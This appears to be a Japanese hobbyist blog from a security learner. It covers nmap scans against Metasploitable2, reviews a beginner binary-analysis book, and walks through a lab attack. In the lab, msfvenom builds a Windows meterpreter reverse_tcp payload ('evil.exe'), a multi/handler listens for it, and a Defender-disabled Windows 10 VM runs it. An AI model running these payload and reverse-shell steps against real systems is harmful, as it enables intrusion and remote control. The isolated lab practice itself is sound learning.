Nmapの使用
Nmap
今回はnmapを使用してみます。nmapは高機能ポートスキャナーと呼ばれており、ネット上のホストを偵察発見したり、ホストのポートの状態を特定したりできます。OSのバージョンなども調べることができます。映画のハッキング場面でもよく登場するみたいです。
仮想環境の構成としては、攻撃側がkali linux、攻撃を受ける側としてMetasploitable2を構築しました。構築手順については回を改めて紹介できればと思います。
metasploitableは脆弱性が存在する状態のLinuxで、様々な脆弱性が存在します。これを仮想環境で用いることで安全に心置きなくセキュリティの学習ができます。
Metasploitable
まずMetasploitableを起動します。
Kali Linux
ホストの発見
metasploitableに対してnmapを使用します。今回は事前にターゲットが指定されているため、ホストを発見する必要はありませんが、インターネット上ではホスト発見のために様々な偵察が行われています。nmapではpingスキャンやリストスキャンが該当します。
画像ではIPアドレスで指定していますが、リストスキャンはネットワークのホストを一覧表示します。DNSの逆引きも行うためホスト名を指定すれば、ネットワークのホスト一覧が表示されます。
nmap -sL 10.0.0.1-254
pingスキャンはホストに対してpingを送信して応答したホストの一覧を表示します。
nmap -sP 10.0.0.1-254
ポートスキャン
それではmetasploitableに対してポートスキャンを実施します。
画像ではオプションはつけていませんが、付けなければデフォルトで-sS
を付与したとみなされます。
-sS
はTCP SYNスキャンで、TCPのSYNを送信します。Nmapはこの時のターゲットの反応によって状態を判別します。
このTCP SYNスキャンはステルススキャンと呼ばれており通常はサーバーにログが残りません。
metasploitableは脆弱性をあえて存在させているので多くのポートがopenとなっているのがわかると思います。 windows10環境でも試してみましたが、そちらの場合はwindows Defenderが効いていて脆弱性は確認できませんでした。
nmap 10.0.0.104 or nmap -sS 10.0.0.104
-p
をつけることによりポートの指定ができます。今回はFTPの21番を指定しました。
nmap -sS 10.0.0.104 -p21 ``` [f:id:web_storm:20201110180647p:plain] <br /> nmapでは`-O`をつけることによりOSやそのバージョンなどが特定できます。ポートに併せてOSの情報が表示されています。 ``` nmap -O 10.0.0.104 ``` <br /> [f:id:web_storm:20201110180723p:plain] <br /> -Aをつけるとさらに詳細が表示されます。 ``` nmap -A 10.0.0.104 ``` <br /> [f:id:web_storm:20201110180738p:plain]
バイナリ入門書
はじめて学ぶバイナリ解析
セキュリティのコースを受講しているのでセキュリティ関係の良い本がないものかと探していました。有名な本に「セキュリティコンテストチャレンジブック」がありますがこちらはCTF等で出題される分野を満遍なく学ぶ本です。私が探していたのはセキュリティの分野でも初学者が学びにくいとされているバイナリやpwnの入門書だったので、「はじめて学ぶバイナリ解析」で学習しました。
内容としては主にバッファーオーバーフローを題材として脆弱性を学習していくものです。導入部分は環境構築に始まり(私はkali Linuxで進めました)、C言語のコンパイルやバイトオーダの説明から始まります。
その後、バッファオーバーフローの説明に必要なスタック領域の章があり、スタックがEBPやEIPといったレジスタによってどのように構成されている続きます。スタックのメモリ確保の向きなどが初学者にとって敷居の高い部分を図やgdb-pedaを用いて説明されておりわかりやすくなっています。
後半部分はこれまでの応用になっていてリターンアドレスの書き換えや標準ライブラリを実行させる内容が続き、最後はこれらのバッファオーバーフロー脆弱性をどのように防いでいるのか防御機能の紹介になっています。
バイナリ解析はプログラムがメモリ上にどのように展開されて発生しているのか、初学者にとってはイメージし難い分野のため専門的なセキュリティ関係の本で学ぶ前に本書のような入門書で学習するのは足がかりとしてよいと思いました。
Metasploitの使用
現在とあるセキュリティのコースを受講しています。講義ではネットワークに始まりバイナリ解析やPwn、webアプリケーションといった様々なことを学習しますが、復習をするとなると少し問題が生じます。というのも学習したことを使用して実際に他のサーバーに入ったりwebシステムを攻撃することは、言うまでもありませんが違法です。
そのため「ハッキングラボのつくりかた」という本を用いてVirtualBoxによる仮想環境を構築してその中で攻撃をしたり、学んだことを復習したいと思います。噂に聞くMetasploitableの構築もやってみました。
とりあえず今回は実務で利用頻度が高そうなMetasploitを使用してみました。
仮想環境の構成としてはゲストOSとして攻撃する側のKali Linuxと攻撃される側のWindows10を用意しています。
- Kali Linux : 10.0.0.2
- windows10 : 10.0.0.101
kali Linux
まずKali側で下記を入力します。ちょっと時間がかかりますがmetasploitが起動します。 ペイロード(悪意のある実行コード)を作成します。 まずsearchで検索をします。 意味としては種別がペイロード、TCP型のリバースシェル、ターゲットはwindowsです。
msfconsole
search type:payload reverse_tcp platform:windows
一覧が表示されますが、windows用のTCP型リバースシェルを選択し作成します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil.exe
デスクトップに作成されました。
作成されたevil.exeをブラウザからアクセスできる/var/www/html/share
に移動します。
mv evil.exe /var/www/html/share
これで他のPCからブラウザでアクセスできます。
Kali側はwindows側で実行されるリバースシェルを待ち受けます。方法としてはハンドラーモジュールを使用します。
ここではwindowsのTCP型リバースシェルを指定しkaliのIPを設定しshow option
で確認します。
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.2 show option
ここでexploitを実行すると待ち受け状態になります。
exploit
windows10
攻撃される側のwindows10では、Kali側で設置した悪意のある実行ファイルにブラウザをとおしてアクセスします。これをダウンロードして実行してしまったという想定です。
これをダウンロードして実行しますが、通常はwindows Defenderが効いているので今回は無効かしておきます。
このファイルを実行して、netstatで確認します。
ESTABLISHEDとなり接続されているのが確認できます。
kali Linux
Kali Linux側で確認します。 プロンプトがmeterpreterとなりwindows10とのセッションが確立されているのが確認できました。